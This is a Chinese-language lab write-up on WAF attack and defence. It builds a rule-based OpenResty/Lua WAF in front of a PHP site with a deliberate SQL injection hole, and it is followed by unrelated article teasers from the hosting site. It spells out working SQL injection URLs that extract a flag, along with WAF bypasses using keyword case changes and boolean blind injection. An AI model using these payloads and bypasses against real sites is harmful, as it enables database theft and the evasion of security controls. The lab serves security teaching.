WAF渗透攻防实践(16)

news2024/11/19 1:54:26

预备知识
WAF:WEB攻击一直是黑客攻击的主流手段,WAF作为网站安全基础设施的标配。Web Application Firewall,Web应用防火墙,通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。  

Nginx:Nginx 是一个高性能的HTTP和反向代理服务器,其特点是占有内存少,并发能力强。 

Lua:Lua是一个小巧的脚本语言,由标准C编写而成,几乎在所有操作系统和平台上都可以编译运行。Lua脚本可以很容易的被C/C++ 代码调用,也可以反过来调用C/C++的函数,这使得Lua在应用程序中可以被广泛应用。 

OpenResty:Nginx开发主要是以C/C++模块的形式进行,整体学习和开发成本偏高。如果有一种简单的语言来实现Web应用的开发,那么Nginx绝对是把瑞士军刀;目前市面上用的非常成熟的扩展是由章亦春将Lua和Nginx粘合的ngx_lua模块,并将Nginx核心、LuaJIT、ngx_lua模块、许多有用的Lua库和常用的第三方Nginx模块组合在一起成为OpenResty。这样开发人员就可以安装OpenResty,使用Lua编写脚本,然后部署到Nginx Web容器中运行。从而非常轻松就能开发出高性能的Web服务。

参考资料

OpenResty官方文档 https://openresty.org/en/

实验目的
1)本实验通过搭建一个包含SQL注入漏洞的网站,在无WAF的情况下模拟进行渗透测试,获得flag(包含英文、符号等不超过15位) 

2) 使用自制的WAF进行防御,读者可以查看、修改规则,使其直观感受基于规则的WAF的工作原理和防御机制。

3) 分析相关防御规则,尝试使用其他方法进行WAF绕过,使读者感受攻防双方的博弈过程。

实验环境
Ubuntu 64bit、IP地址:10.1.1.47

网络拓扑:如下图,Nginx作为前端反向代理,监听80端口,并可使用ngx_lua对流量进行过滤。后端目标web使用Apache作为Web容器,并使用php构建一个简易的Web。 

大致流程:用户访问目标地址,Nginx反向代理接受请求,Ngx_lua模块将流量过滤后,将请求发送给后端web,后端web处理后将结果返回给Nginx,Nginx返回给用户。

说明:事实上,目前流行的云WAF主要也是基于反向代理,通过域名解析将访问流量引入云端进行过滤,之后云端访问众多需要保护的Web站点,并将结果返回给用户。云WAF往往和后端众多受保护的WEB服务身处不同服务器,并且后端服务一般不能直接访问。本实验为了方便读者实验和操作,便将WAF和后端Web放置同一台服务器,并将后端Web的默认端口80修改为8080来实现,请读者知悉。

所用软件:firefox、hackbar插件、python

实验步骤一
首先关闭WAF的防御功能(默认为关闭状态),使用firefox浏览器,对目标web进行查看渗透,获得flag。

1.   实验环境准备

安装firefox

安装配置好openresty,使用ngx_lua模块制作基于规则的WAF,修改nginx配置文件,配置其为后台web进行反向代理

2.   查看、修改WAF配置(文件位置在/usr/local/openresty/nginx/conf/waf/config.lua),关闭防御(默认为关闭状态,此步骤无需进行)

3.   使用firefox进行渗透测试,通过单引号截断sql查询语句:

http://127.0.0.1/index.php?id=1' and 1=1 %23

4.   可以利用and 1=2进行union注入,获取注入结果回显。

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 %23

5.   2的位置可以回显,接下来猜测表名,当from flag的时候可以正常回显:

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 from flag %23

6.   表名错误的话则查询不到数据:

      http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 from flag222 %23

7.   列名类似,最终的poc为:http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23

8.   得到flag为:SQLi so easy!

实验步骤二
任务描述:打开WAF的防御功能,使用firefox浏览器对目标web进行渗透尝试


1.   开启WAF防御功能,修改/usr/local/openresty/nginx/conf/waf/config.lua文件,将off修改为on

2.   重新加载nginx,命令为nginx -s reload,使得WAF配置修改生效

3.   使用上述成功的poc进行注入尝试,发现此时的注入攻击已经被WAF拦截

4.查看WAF的过滤规则,文件在/usr/local/openresty/nginx/conf/waf/rule-config/目录下的args.rule文件,打开后文件内容为

5.可以看出上述注入攻击poc,http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23 触发了如下图的过滤规则



实验步骤三
任务描述:分析WAF规则,思考如何对上述防御进行绕过


1.   可以发现相关防御规则只是对某些关键词(如select和from、union和select等)联合使用进行规则匹配,如果匹配成功,则进行拦截。

2.   而上述攻击poc触发了相关的union+select的规则,http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23,而且关键词并没有对忽略大小写,因此可以尝试替换关键词的大小写进行绕过:

3.   如果WAF对关键词大小写进行忽略,还可以考虑使用Bool型盲注:

通过substr取出第一位然后用ascii码判断,可以得到第一位的ascii码为102,即’f’,并且没有触发任何WAF规则,成功获得回显。

http://127.0.0.1/index.php?id=1' && Exists(Select flag from flag where ascii(substr(flag,1,1))=102) %23

4.   而如果判断不对,则没有回显。

5.   因此可以通过盲注脚本,根据页面的回显对每一位字符进行猜测,从而也可攻击成功,获得flag。可直接运行python poc.py命令进行盲注。(poc.py位于桌面)

实验截图: 

 

 

 poc.py如下

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/371532.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

京东10年经验测试工程师,整理出来的自动化测试学习路线,写给还在迷茫的你们

1、学习python基本语法。 2、上w3school这个网站(2019年4月6日补充:网址是http://www.w3schools.com。但是现在这个网站被墙,而且出现众多山寨站点。。。这个网站的特点是你可以在网页上做一些练习,比如他教html的时候会让读者直…

Word的多级列表及自定义带级联编号有序列表的方法

1.多级列表的应用 输入列表时,列表项目符号或编号不应手动输入。可在输入文字后将光标放在文字所在段落,点击开始面板段落工具组的编号命令或者多级列表命令来生成编号。由于多级列表命令完全可以覆盖编号命令,且格式调整功能更强大&#xf…

ES数据迁移_snapshot(不需要安装其他软件)

参考文章: 三种常用的 Elasticsearch 数据迁移方案ES基于Snapshot(快照)的数据备份和还原CDH修改ElasticSearch配置文件不生效问题 目录1、更改老ES和新ES的config/elasticsearch.yml2、重启老ES,在老ES执行Postman中创建备份目录…

第45届世界技能大赛“网络安全”赛项浙江省选拔赛竞赛任务书

第45届世界技能大赛浙江省选拔赛竞赛任务书 一、竞赛时间 8:00-17:00,共计9小时。 二、竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 模块A 任务1 数据库安全加固 8:00-10:00 50 任务2 文件MD5校验 50 任务3 Linux系统服务渗透测试及安全加…

洛谷 P1208 [USACO1.3]混合牛奶 Mixing Milk

最后水一篇水题题解(实在太水了) # [USACO1.3]混合牛奶 Mixing Milk ## 题目描述 由于乳制品产业利润很低,所以降低原材料(牛奶)价格就变得十分重要。帮助 Marry 乳业找到最优的牛奶采购方案。 Marry 乳业从一些奶农手…

【RabbitMQ笔记03】消息队列RabbitMQ七种模式之WorkQueues工作队列模式

这篇文章,主要介绍消息队列RabbitMQ七种模式之WorkQueues工作队列模式。 目录 一、工作队列模式 1.1、什么是Work Queues模式 1.2、工作队列模式的使用 (1)引入依赖 (2)编写生产者 (3)编写…

如何提高您的网站速度更好的符合SEO规范

如果觉得文章对你有用请点赞与关注,每一份支持都是我坚持更新更优质内容的动力!!!慢速网站会受到用户和搜索引擎的惩罚。用户跳出,搜索引擎可以降低您的排名。为了针对搜索引擎和用户优化您的网站,您的网站…

Golang学习Day3

😋 大家好,我是YAy_17,是一枚爱好网安的小白。 本人水平有限,欢迎各位师傅指点,欢迎关注 😁,一起学习 💗 ,一起进步 ⭐ 。 ⭐ 此后如竟没有炬火,我便是唯一的…

Mybatis中的动态SQL

Mybatis中的动态SQL 当存在多条件查询的SQL时,当用户某个条件的属性没有写时,就会存在问题,在test中则不能很好的运行 所以Mybatis提出了动态SQL。 即判断用户是否输入了某个属性 动态SQL中的一些问题 方法一 这个里的and是为了确保if条…

三天吃透MySQL八股文(2023最新整理)

本文已经收录到Github仓库,该仓库包含计算机基础、Java基础、多线程、JVM、数据库、Redis、Spring、Mybatis、SpringMVC、SpringBoot、分布式、微服务、设计模式、架构、校招社招分享等核心知识点,欢迎star~ Github地址:https://github.com/…

口红品牌管理APP

伴随着科技的发展,多条产业和产品已经走上了智能化的道路,口红也是如此,口红的品牌众多,格式,色号更是令人难以区分,为了便于顾客选购和产品的科技化整理销售,利用课程所学知识,基于…

服务搭建篇(六) Kafka + Zookeeper集群搭建

一.Zookeeper 1.什么是Zookeeper ZooKeeper 是一个开源的分布式协调框架,是Apache Hadoop 的一个子项目,主要 用来解决分布式集群中应用系统的一致性问题。Zookeeper 的设计目标是将那些复杂且容 易出错的分布式一致性服务封装起来,构成一个…

linux pybind11 python c++ 混合编程(包括具体版本匹配的设置)

pybind11的处理过程 我首先安装了pybind,参考了许多教程,但很多教程的貌似都来自微软导出pyd的方法,但是实际上linux下导出so文件而非pyd文件,后续运行的实例来自https://github.com/tdegeus/pybind11_examples(代码就…

设计模式(十一)----结构型模式之装饰者模式

1、概述 我们先来看一个快餐店的例子。 快餐店有炒面、炒饭这些快餐,可以额外附加鸡蛋、火腿、培根这些配菜,当然加配菜需要额外加钱,每个配菜的价钱通常不太一样,那么计算总价就会显得比较麻烦。 使用继承的方式存在的问题&…

为多态基类声明virtual析构函数

我们知道,有时会让一个基类指针指向用 new 运算符动态生成的派生类对象(类似接口的作用);同时,用 new 运算符动态生成的对象都是通过 delete 指向它的指针来释放的。如果一个基类指针指向用 new 运算符动态生成的派生类…

算法23:多叉树_派对的最大快乐值

公司的每个员工都符合 Employee 类的描述。整个公司的人员结构可以看作是一棵标准的、 没有环的多叉树。树的头节点是公司唯一的老板。除老板之外的每个员工都有唯一的直接上级。 叶节点是没有任何下属的基层员工(subordinates列表为空),除基层员工外,每…

MySQL知识点小结

事务 进行数据库提交操作时使用事务就是为了保证四大特性,原子性,一致性,隔离性,持久性Durability. 持久性:事务一旦提交,对数据库的改变是永久的. 事务的日志用于保存对数据的更新操作. 这个操作T1事务操作的会发生丢失,因为最后是T2提交的修改,而且T2先进行一次查询,按照A…

线性回归算法和逻辑斯谛回归算法详细介绍及其原理详解

相关文章 K近邻算法和KD树详细介绍及其原理详解朴素贝叶斯算法和拉普拉斯平滑详细介绍及其原理详解决策树算法和CART决策树算法详细介绍及其原理详解线性回归算法和逻辑斯谛回归算法详细介绍及其原理详解 文章目录相关文章前言一、线性回归二、逻辑斯谛回归总结前言 今天给大家…

2020 NOC 编程猫创新编程全国决赛小学组第一部分(客观题)

Q1. 某角色的造型区及未完成的脚本如下,当前造型名称为猫,若想切换到熊冬眠的 浩型,变量次数的值不可能为( ) A. 2 B. 3 C. 4 D. 5 Q2. 运行下图所示脚本,角色的运动轨迹为( ) Q3. 运行脚本,变量“y”的值为( ) A. 200 B. 2200 C. 2000 D. 4000 Q4. 运行…

盘点:9款身份和访问管理工具

身份和访问管理(IAM)长期以来一直是安全领导者职业生涯的关键“试炼场”,许多人在身份技术部署方面做出了事关成败的决定。 确保安全访问和身份管理是网络安全态势的两大基础 。同时,人员、应用程序和系统登录的方式以及它们彼此集…